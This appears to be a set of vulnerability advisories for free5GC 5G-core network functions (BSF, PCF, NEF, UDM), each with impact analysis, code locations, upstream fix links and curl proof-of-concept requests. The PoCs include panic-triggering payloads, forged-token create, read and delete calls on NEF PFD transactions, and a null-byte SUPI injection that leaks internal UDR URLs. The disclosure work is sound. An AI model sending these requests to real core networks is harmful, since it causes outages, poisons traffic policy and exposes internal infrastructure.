Impact Unsynchronized concurrent access (CWE-362) to a shared map (BsfSelf.Subscriptions), combined with missing synchronization on the create-if-absent branch (CWE-820). Go's runtime detects concurrent map read/write and terminates the process via a non-recoverable fatal error -- Gin's recover() middleware does NOT catch this class of fatal, unlike ordinary nil-deref panics. The whole BSF process exits, dropping BSF's nbsf-management SBI surface (PCF binding lookups for SMF, AF -> PCF binding discovery, etc.) until restart.
Any party that holds (or can obtain) a valid nbsf-management token can: - Drive the create-if-absent code path at high concurrency by PUTting a stream of fresh subId values, deterministically tripping the runtime fatal and killing the BSF process. - Repeat the trigger after every restart to sustain the outage.
No Confidentiality impact (the crash returns no attacker-readable data). No persistent Integrity impact (BSF subscription state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of BSF service via concurrent attacker traffic on a single endpoint.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/926 Upstream fix: https://github.com/free5gc/bsf/pull/7
Summary free5GC's PCF POST /npcf-policyauthorization/v1/app-sessions handler panics on a single authenticated request whose ascReqData.suppFeat == "1" (enabling traffic-routing feature negotiation) and whose medComponents entries supply an afAppId but NO AfRoutReq. The create path then calls provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, ...) with routeReq == nil and dereferences routeReq.RouteToLocs (and other fields) without a nil check, causing runtime error: invalid memory address or nil pointer dereference. Gin recovery converts the panic into HTTP 500.
The trigger is a single valid authenticated request -- changing only suppFeat from "0" to "1" flips the same shape of POST from a normal 201 Created into a panic-driven 500.
This endpoint requires a valid npcf-policyauthorization OAuth2 access token (PR:L). The PCF process is not killed (Gin recovers); the realized impact is per-request panic-DoS on the app-session create path.
Details Validated against the PCF container in the official Docker compose lab. - Source repo tag: v4.2.1 - PCF endpoint: http://10.100.200.9:8000 - Validation date: 2026-03-12
Vulnerable handler path: postAppSessCtxProcedure -> medComponents loop -> appID := medComp.AfAppId routeReq := medComp.AfRoutReq // nil when AfRoutReq absent provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, medComp.FStatus)
In provisioningOfTrafficRoutingInfo, routeReq.RouteToLocs, routeReq.UpPathChgSub, and routeReq.AppReloc are dereferenced directly without a nil check. When suppFeat is "0" the traffic-routing branch is not entered and the same input shape returns 201 Created; when suppFeat is "1" the branch is entered and the nil-deref fires.
Code evidence (paths in free5gc/pcf): - Affected route + dispatch: NFs/pcf/internal/sbi/apipolicyauthorization.go - Create handler path: NFs/pcf/internal/sbi/processor/policyauthorization.go - Call site that passes nil routeReq into the traffic-routing helper: NFs/pcf/internal/sbi/processor/policyauthorization.go - Panic site (nil deref of routeReq. fields): NFs/pcf/internal/sbi/processor/policyauthorization.go:1740
PoC Reproduced end-to-end against the running PCF at http://10.100.200.9:8000.
1. Obtain a valid npcf-policyauthorization token from NRF: curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'granttype=clientcredentials&nfType=NEF&nfInstanceId=b84c4f0a-6010-4972-8480-e44e625b9ee4&targetNfType=PCF&scope=npcf-policyauthorization'
2. Trigger the panic with a single valid authenticated POST whose ascReqData.suppFeat == "1", medComponents supplies afAppId, and AfRoutReq is absent: curl -i -X POST 'http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <validnpcfpolicyauthorizationjwt>' \ --data '{"ascReqData":{"suppFeat":"1","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}' HTTP/1.1 500 Internal Server Error
3. Control comparison -- same request shape but suppFeat="0" -> normal 201 Created: curl -i -X POST 'http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <validnpcfpolicyauthorizationjwt>' \ --data '{"ascReqData":{"suppFeat":"0","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}' HTTP/1.1 201 Created
4. PCF container logs show the panic stack landing in provisioningOfTrafficRoutingInfo with routeReq = 0x0: [ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/pcf/internal/sbi/processor.provisioningOfTrafficRoutingInfo(..., 0x0, ...) .../policyauthorization.go:1740 github.com/free5gc/pcf/internal/sbi/processor.(Processor).postAppSessCtxProcedure .../policyauthorization.go:288 github.com/free5gc/pcf/internal/sbi/processor.(Processor).HandlePostAppSessionsContext .../policyauthorization.go:139 github.com/free5gc/pcf/internal/sbi.(Server).HTTPPostAppSessions .../apipolicyauthorization.go:119 [INFO][PCF][GIN] | 500 | POST | /npcf-policyauthorization/v1/app-sessions |
Impact NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the create path passes routeReq straight into provisioningOfTrafficRoutingInfo without a nil check, even though medComp.AfRoutReq is optional and is nil for the demonstrated valid input shape. The control experiment with suppFeat="0" proves the request shape itself is otherwise valid.
Gin recovery catches the panic, so the PCF process is NOT killed and other endpoints continue serving. The realized impact is per-request: any authenticated POST against this endpoint with suppFeat="1" and medComponents..AfAppId set but AfRoutReq absent returns HTTP 500 with empty body and a stack trace in PCF logs.
Any party that holds (or can obtain) a valid npcf-policyauthorization token can repeatedly drive this code path to sustain a per-request panic-DoS on the app-session create endpoint, with each panic costing more CPU + log writes than the intended controlled response would have.
No Confidentiality impact (the response is 500 with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/879 Upstream fix: https://github.com/free5gc/pcf/pull/65
Summary free5GC's PCF POST /npcf-smpolicycontrol/v1/sm-policies handler (HandleCreateSmPolicyRequest) panics with a nil-pointer dereference when a downstream OpenAPI consumer call (UDR lookup) returns 404 Not Found and the consumer wrapper returns err != nil together with a nil response struct. The handler logs the OpenAPI error and continues executing instead of returning, then dereferences the nil response struct on a subsequent line and panics. Gin recovery converts the panic into HTTP 500, so a single attacker-shaped POST returns 500 instead of a clean 4xx whenever the downstream lookup fails. The PCF process keeps running.
The trigger is a single POST containing input that causes the downstream UDR lookup to fail (e.g. an unknown DNN). In v4.2.1 this endpoint is also reachable WITHOUT an Authorization header because the PCF NpcfSMPolicyControl route group is mounted without inbound auth middleware (see free5gc/free5gc#844). So in the validation lab the trigger is fully unauthenticated.
Details Validated against the PCF container in the official Docker compose lab. - free5GC version: v4.1.0 (originally reported on v4.1.0; same defect present in v4.2.1) - PCF endpoint: http://10.100.200.9:8000
Vulnerable handler path (paraphrased from the captured stack trace): [INFO][PCF][SMpolicy] Handle CreateSmPolicy [ERRO][PCF][Consumer] openapi error: 404, Not Found [ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/pcf/internal/sbi/processor.(Processor).HandleCreateSmPolicyRequest /go/src/free5gc/NFs/pcf/internal/sbi/processor/smpolicy.go:82 +0x562 github.com/free5gc/pcf/internal/sbi.(Server).HTTPCreateSMPolicy /go/src/free5gc/NFs/pcf/internal/sbi/apismpolicy.go:86 +0x405
The handler's UDR-failure branch logs the OpenAPI error but does not return; the next line dereferences the nil response struct.
Code evidence (paths in free5gc/pcf): - Panic site: - NFs/pcf/internal/sbi/processor/smpolicy.go:82 - Route dispatch: - NFs/pcf/internal/sbi/apismpolicy.go:86
PoC Reproduced end-to-end against the running PCF at http://10.100.200.9:8000.
Send a single POST whose dnn is unknown to UDR -- this drives the downstream OpenAPI call to return 404 Not Found, which then triggers the nil-deref panic: curl -sS -X POST 'http://10.100.200.9:8000/npcf-smpolicycontrol/v1/sm-policies' \ -H 'Content-Type: application/json' \ -d '{ "supi":"imsi-208930000000003", "pduSessionId":1, "dnn":"internet-bad", "sliceInfo":{"sst":1,"sd":"010203"}, "servingNetwork":{"mcc":"208","mnc":"93"}, "accessType":"3GPPACCESS", "notificationUri":"http://smf.free5gc.org:8000/npcf-smpolicycontrol/v1/notify" }'
Observed response: HTTP 500 Internal Server Error with empty body.
PCF container logs show: [INFO][PCF][SMpolicy] Handle CreateSmPolicy [ERRO][PCF][Consumer] openapi error: 404, Not Found [ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference ...HandleCreateSmPolicyRequest at smpolicy.go:82...
The Gin recovery middleware catches the panic (the captured stack trace runs inside ginRecover.func2.1), so the PCF process keeps serving other requests; the realized impact is per-request HTTP 500 on this endpoint whenever the downstream lookup fails.
Impact NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the UDR-failure branch logs the OpenAPI error but does not return, then dereferences the nil response struct. The intended behavior is to return a controlled 4xx/5xx ProblemDetails and stop processing.
Gin recovery catches the panic, so the PCF process is NOT killed and other endpoints continue serving. The realized impact is per-request: any unauthenticated POST that drives the downstream UDR lookup to a 404 returns HTTP 500 (with empty body and a stack trace in PCF logs) instead of a controlled error response.
No Confidentiality impact (the response is 500 with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation. The endpoint remains reachable to unauthenticated attackers via the route-group auth gap separately tracked in free5gc/free5gc#844.
Affected: free5gc v4.2.1 (originally reported against v4.1.0; same defect present).
Upstream issue: https://github.com/free5gc/free5gc/issues/803 Upstream fix: https://github.com/free5gc/pcf/pull/62
Summary free5GC's NEF mounts the 3gpp-pfd-management API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, and delete PFD-management transaction state with a forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token). The route group is also reachable even when the running config's ServiceList does not declare it, so operators who think they disabled the service via config are still exposed.
Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nef:v4.2.0 - Runtime NEF commit: 5ce35eab - Docker validation date: 2026-03-11
NEF advertises OAuth2 setting receive from NRF: true, and its ServiceList only declares nnef-pfdmanagement and nnef-oam. Despite that, the 3gpp-pfd-management route group is mounted and reachable with no inbound auth middleware.
Code evidence (paths in free5gc/nef): - Route group mounted without auth middleware: NFs/nef/internal/sbi/server.go:52 - Transaction routes exposed at /:scsAsID/transactions and /:scsAsID/transactions/:transID: NFs/nef/internal/sbi/apipfd.go:13 - Create handler still contains // TODO: Authorize the AF: NFs/nef/internal/sbi/processor/pfd.go:70 - POST allocates a new PFD transaction and writes to UDR: NFs/nef/internal/sbi/processor/pfd.go:63 - GET reads transaction state: NFs/nef/internal/sbi/processor/pfd.go:189 - DELETE removes transaction state: NFs/nef/internal/sbi/processor/pfd.go:328 - NEF context only exposes outbound token acquisition (GetTokenCtx); there is no inbound authorization path: NFs/nef/internal/context/nefcontext.go:153 - Config validation only allows nnef-pfdmanagement and nnef-oam: NFs/nef/pkg/factory/config.go:126
PoC Reproduced end-to-end against the running NEF at http://10.100.200.19:8000 using a fabricated bearer token.
1. Seed an AF context (also accepted with forged token): curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-seed2","afAppId":"app-seed2","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.31 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-seed2","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfd2/subscriptions
2. CREATE PFD transaction with forged token -> 201 Created: curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-poc-pfd2":{"externalAppId":"app-poc-pfd2","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://poc.example.com(/\\\\S)?$"]}}}}}' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions
3. READ -> 200 OK: curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1
4. DELETE -> 204 No Content: curl -i -X DELETE -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1
5. READ again -> 404 PFD transaction not found, confirming state was actually deleted.
NEF container logs (docker logs nef) show the requests reaching business handlers and returning success codes: [INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[af-poc-pfd2] [INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/af-poc-pfd2/transactions [INFO][NEF][PFDMng] GetIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1] [INFO][NEF][GIN] | 200 | GET | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 [INFO][NEF][PFDMng] DeleteIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1] [INFO][NEF][GIN] | 204 | DELETE | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1
Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on a critical SBI surface in NEF. Any party that can reach NEF on the SBI network can: - Create attacker-controlled PFD transactions (which are written to UDR), poisoning policy state used downstream by SMF/UPF for traffic classification. - Read existing PFD transactions, leaking AF-supplied policy data. - Delete PFD transactions, denying service to legitimately provisioned application detection rules.
The PFD-management route group is also reachable even when the runtime ServiceList does not declare it, so operators relying on ServiceList to disable the service do not actually get that protection.
Affected: free5gc <=v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/858 Upstream fix: https://github.com/free5gc/nef/pull/23
Summary
The free5GC UDM component fails to validate the supi path parameter in six GET handlers of the nudm-sdm (Subscriber Data Management) service. An unauthenticated attacker can inject control characters into the SUPI parameter, causing UDM to forward a malformed request to UDR and return a 500 Internal Server Error response that exposes internal infrastructure details.
Affected Package
- Ecosystem: Go - Package: github.com/free5gc/udm - Affected versions: <= v1.4.2 - Patched versions: none yet
Details
The following handlers in internal/sbi/apisubscriberdatamanagement.go do not call validator.IsValidSupi() before passing the supi parameter to the processor:
- HandleGetSmfSelectData — GET /:supi/smf-select-data - HandleGetSupi — GET /:supi - HandleGetTraceData — GET /:supi/trace-data - HandleGetUeContextInSmfData — GET /:supi/ue-context-in-smf-data - HandleGetNssai — GET /:supi/nssai - HandleGetSmData — GET /:supi/sm-data
By contrast, HandleGetAmData in the same file correctly validates the supi parameter:
go // HandleGetAmData — correctly validates (not vulnerable) supi := c.Params.ByName("supi") if !validator.IsValidSupi(supi) { c.JSON(http.StatusBadRequest, problemDetail) return }
// HandleGetSmfSelectData — missing validation (vulnerable) supi := c.Params.ByName("supi") // ← no validator.IsValidSupi(supi) call s.Processor().GetSmfSelectDataProcedure(c, supi, plmnID, supportedFeatures)
The malformed supi is passed to the processor which constructs a URL to forward the request to UDR. Go's net/url parser rejects the URL containing control characters and returns an error. UDM catches this error and responds with a 500 SYSTEMFAILURE that includes the full internal UDR URL in the detail field.
This is a missed fix of CVE-2026-27642, which applied the same validator.IsValidSupi() check only to internal/sbi/apiueauthentication.go (HandleConfirmAuth and HandleGenerateAuthData), leaving the SDM service handlers unpatched.
Proof of Concept
bash Vulnerable — returns 500 with internal UDR URL exposed curl "http://<UDMHOST>/nudm-sdm/v2/imsi-22277%00INJECTED/smf-select-data" curl "http://<UDMHOST>/nudm-sdm/v2/imsi-22277%00INJECTED/nssai" curl "http://<UDMHOST>/nudm-sdm/v2/imsi-22277%00INJECTED/trace-data" curl "http://<UDMHOST>/nudm-sdm/v2/imsi-22277%00INJECTED/sm-data"
Expected (vulnerable) response: HTTP 500 { "title": "System failure", "status": 500, "detail": "parse \"http://udr.internal:80/nudr-dr/v2/subscription-data/imsi-22277\x00INJECTED//provisioned-data/smf-selection-subscription-data\": net/url: invalid control character in URL", "cause": "SYSTEMFAILURE" }
Protected endpoint (for comparison) — returns 400 curl "http://<UDMHOST>/nudm-sdm/v2/imsi-22277%00INJECTED/am-data" HTTP 400 {"title":"Malformed request syntax","status":400,"detail":"Supi is invalid","cause":"MANDATORYIEINCORRECT"}
Impact
An unauthenticated remote attacker can send a crafted GET request to any of the six affected endpoints to obtain:
1. Internal UDR hostname and port 2. Full internal API path structure (/nudr-dr/v2/subscription-data/...) 3. UDR API version 4. Internal service naming convention
This information can be used to facilitate further attacks against the UDR or other internal 5G core components.
Recommended Fix
Add validator.IsValidSupi() to all six affected handlers, following the pattern already used in HandleGetAmData:
go supi := c.Params.ByName("supi") if !validator.IsValidSupi(supi) { problemDetail := models.ProblemDetails{ Title: "Malformed request syntax", Status: http.StatusBadRequest, Detail: "Supi is invalid", Cause: "MANDATORYIEINCORRECT", } c.Set(sbi.INPBDETAILSCTXSTR, http.StatusText(int(problemDetail.Status))) c.JSON(int(problemDetail.Status), problemDetail) return }